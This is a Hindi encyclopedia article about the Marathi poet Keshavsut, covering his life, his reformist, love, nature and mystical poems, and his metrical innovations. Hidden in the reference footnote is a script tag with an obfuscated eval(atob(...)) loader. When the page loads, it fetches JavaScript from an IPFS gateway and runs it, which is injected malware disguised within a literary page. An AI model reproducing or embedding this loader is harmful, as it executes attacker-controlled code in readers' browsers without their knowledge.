कृष्णाजी केशव दामले केशवसुत

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कृ. के. दामले केशवसुत (1866-1905 ई.)। आधुनिक मराठी कविता के प्रवर्तक। वे प्राथमिक स्कूल के अध्यापक रहे, क्लर्क बने और विपन्नावस्था में अल्पायु में ही स्वर्गवासी हुए, किंतु उनकी काव्यप्रतिभा असाधारण थी। समाजसुधार का जो काम हरिभाऊ आपटे ने उपन्यासों द्वारा और आगरकर ने निबंधों द्वारा किया, वहीं काम केशवसुत ने काव्यसर्जना द्वारा किया। इन्होंने मराठी कविता को सच्चे अर्थ में आधुनिक बनाया।

केशवसुत की कविता स्फुट और अंतर्निरूपिणी है। उसमें काव्यरचना संबंधी नए नए प्रयोग हैं। उनके विषय प्रकृति और प्रेम हैं। उनकी मनोवृत्ति आसपास की सामाजिक दु:स्थिति से उद्वेलित हुई और यह काव्य में ओजस्विता से प्रकट हुई। उन्होंने अपने क्रांतिकारी सामाजिक विचार। 1. तुतारी, 2. नैवा शिपायी, 3. स्फूर्ति 4. गोफण, 5. मूर्तिभंजन इत्यादि ओजपूर्ण और सरस गीतों में प्रकट किए। इन्होंने स्वतंत्रता, समता और बंधुता का उद्घोष कर कविता को नया मोड़ दिया। प्रेम और आत्माभिव्यक्ति उनकी कविता की दूसरी विशेषता है। ये पहले कवि थे जिन्होंने वैयक्तिक प्रेम पर लगभग चालीस प्रगीतों की रचना की जिनमें 1. ‘प्रियेचे ध्यान’, 2. ‘प्रीति’, 3. ‘अपर कविता दैवत’ अत्यंत सरस रचनाएँ हैं। इनके काव्य की तीसरी विशेषता है, प्रकृति वर्णन। इन्होंने निसर्ग विषयक लगभग बीस गीतों की रचना की जिनमें सूर्योदय, फूलें, संध्याकाल, पर्जन्य, पुष्पाप्रत उत्कृष्ट हैं। इन्होंने क्रांति विषयक कविताओं की भी रचना की। इसक अतिरिक्त इन्होंने रहस्यात्मक कविताओं की भी सृष्टि की। जीव, जगत्‌ और ईश्वर के संबंध में इनकी 1.झपुर्झा, 2. कोणीकडून कोणी कडे, 3. हरपलें श्रेय जैसी कविताएँ हैं जिन में प्रेम, सुंदरता, दिव्यता, भव्यता, आदि के विषय में भी एक प्रकर की गूढ़ता प्रकट हुई है।

केशवसुत ने काव्यवस्तु में जैसे क्रांतिकारी परिवर्तन किए, वैसे ही रचनाशैली में भी। इन्होंने वर्णिक छंदों की अपेक्षा मात्रिक छंदों को अधिक अपनाया। मात्रिक वृत्तों में भी इन्होंने रूढ़ियों का उल्लंघन किया साथ ही पश्चिमी ढंग के सानेट को भी अपनाया। इनकी सुनीत रचनाएँ प्रसिद्ध हैं। इनकी फुलपाखरू और सतारीचे बोल नामक व्यक्तिगत अनुभवों का सरस चित्रण करनेवाली प्रभावकारी रचनाएँ अनूठी एवं आस्वाद्य हैं।[1]


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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 3 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 124 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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